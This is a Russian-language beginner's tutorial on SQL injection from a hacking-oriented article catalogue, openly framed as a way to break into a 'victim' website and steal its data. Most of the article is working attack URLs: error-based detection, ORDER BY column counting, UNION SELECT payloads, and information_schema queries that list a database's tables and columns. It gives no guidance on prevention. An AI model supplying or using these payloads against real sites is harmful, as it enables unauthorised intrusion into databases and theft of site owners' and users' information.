Воскресенье
24.11.2024
10:46
Приветствую Вас Гость | RSS
Главная | Каталог статей | Регистрация | Вход
Меню сайта

Категории каталога
Web [115]
Статьи по безопасности в интернете.

Начало » Статьи » Безопасность » Web

Пошаговае руководство по SQL Injection для новичков

Здравствуйте, уважаемые читатели. Перед вами пошаговае руководство по SQL Injection для новичков. Здесь я попытаюсь очень просто объяснить как украсть нужную нам информацию.
Эта статья  является как бы итогом множества других статей, вопросов, ответов, практики итд итп. Написал я эту статью чтобы хоть как то облегчить труды новичков в нашем нелегком деле.
Итак, начнем.
----------------------
ОБНАРУЖЕНИЕ
----------------------
Предположим у нас есть цель взломать тот или иной сайт. Иными словами у нас есть жертва. Пусть это будет http://www.victim.com. Как узнать можно ли провести SQL Injection? Чтобы провести иньекцию надо сначала найти скрипт в котором есть нефильтруемая переменая. Предроложим на сайте есть скрипт news.php через который выводятся, например новости. Предположим у нас есть ссылка на "Новость #1", и ссылка эта такого вида:
http://www.victim.com/news.php?id=1.
Есть также ссылка на "Новость #2" имеющяя сылку вида:
http://www.victim.com/news.php?id=2.

Признак возможности провести по SQL Injection номер 1:
В адресной строке вместо этого адреса
http://www.victim.com/news.php?id=1
вот этот
http://www.victim.com/news.php?id=1'.
Если на экран  выводится сообщение об ошибке такого:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY ndate DESC LIMIT 0, 5' at line 1
или такого вида*:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/merlin/data/www/www.merlin-worlds.ru/news/news.php on line 569
то SQL Injection возможна.

Признак возможности провести по SQL Injection номер 2:
Если содержимое
http://www.victim.com/news.php?id=1
то же что и у
http://www.victim.com/news.php?id=2-1
то SQL Injection возможна.

Из всего этого понятно что нефильтруемая переменая id и именно ей мы будем присваивать наши запросы.

---------
ПОЛЯ
---------
Для начала мы должны узнать количество полей в таблице и узнать значение какого поля высвечивается, чтобы потом через это поля выудить информацию.
Сделать это можно двумя способами.
Способ первый:
Банально перебирая количество полей, пока сообщение об ошибке не исчезнет. Пример:
http://www.victim.com/news.php?id=1+union+select+1,2,3,4/* и так далее.

Способ второй:
С помощью оператора ORDER BY, который формирует порядок сортировки полей по номеру (и не только), поля, т.е если выражение:
http://www.victim.com/news.php?id=1+order+by+5/*
не выдаст ошибку - это значит что в запросе используется как минимум 5 полей. Ввожу еще одно выражение:
http://www.victim.com/news.php?id=1+order+by+13/*
Это выражение выполнится с ошибкой, т.к. 13 -го поля не существует и теперь нам известно что полей в выражении не меньше 5 и не больше 12. Выбираю любое число из этого диапазона (примерно среднее):
http://www.victim.com/news.php?id=1+order+by+8/*
Ошибки нет, а это значит что количество полей находится в диапазоне от 8 до 12, Еще раз:
http://www.victim.com/news.php?id=1+order+by+10/*
Ошибка!. т.е количество полей или 8 или 9, остается только попробывать:
http://www.victim.com/news.php?id=1+order+by+9/*
Ошибки нет. Т.о. мы узнали что количество полей равно 9.
Получаем определенную информацию.
Т.к. мы знаем что у нас 9 полей мы можем составить работающее выражение:
http://www.victim.com/news.php?id=1+union+select+1,2,3,4,5,6,7,8,9/*.

Итак, мы узнали количество полей. Их 9. Предположим что высвечивается значения 1, 2 и 3 поля.

-----------
ИМЕНА
-----------
Чтобы вытянуть информацию нужно сначала узнать имена таблиц и полей.
Ну чтож, начнем.
Есть такая замечательная БД INFORMATION_SCHEMA и в ней есть замечательная таблица TABLES и в ней есть замечательные поля TABLE_SCHEMA и TABLE_NAME. Вот с их помощю мы и узнаем имена таблиц. Вот запрос:
http://www.victim.com/news.php?id=1+union+select+table_schema,table_name,3,4,5,6,7,8,9+from+information_schema.tables.
Теперь в нашем броузере отобрязятся все таблицы Базы Данных.
Остается узнать имена полей. Для этого набираем в адресной строке
http://www.victim.com/news.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9+from+information_schema.columns.
Как можно увидеть мы поставляем имена полей вместой той цифры которая отображается на экране.
-----------
ПОСЛЕСЛОВИЕ
-----------
Также хотелось бы вам рассказать о двух вещях.
Первое:оператор LIMIT.
Если все проходит не так гладко как хотелось бы то в самом конце запроса мы добавляем LIMIT a,b что означает показать b записей начиная от а.
Второе:Коментарий /*.
Если и лимит не помог то попробуйте в самом конце запроса поставить символ комментария.
Вот собственно и все дорогие мои :)
-------------
БЛАГОДАРНОСТИ
-------------
Хотелось бы поблагодарить впервую очердь хакзону, потом всех авторов которые публикются на ней, потом всех новичков которые задают вопросы, и конечно всех кто отвечает этим вопросам. Именно благодаря вам была написана эта статья :)
Отдельная благодарность Warag a.k.a. EuGen за его терпеливость.
Warag a.k.a. EuGen я тя оч-оч уважаю и оч-оч благодарен за все :)
Ну и напоследок:
Статья не является побуждением к действию. Это только для ознакомительных целей. Автор не несет ответственности за действия которые были после прочтения данной статьи.

Категория: Web | Добавил: zythar (10.08.2007)
Просмотров: 2154 | Комментарии: 1 | Рейтинг: 5.0 |

Всего комментариев: 1
1 argon_68  
0
ничего неполучается ай ай ай почему

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Вход

Поиск по каталогу



Кто сейчас на сайте:
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Друзья сайта

Статистика


Copyright KulX © 2007
ВНИМАНИЕ:Администрация не несет ответственности за публикуемые авторами материалы!
Хостинг от uCoz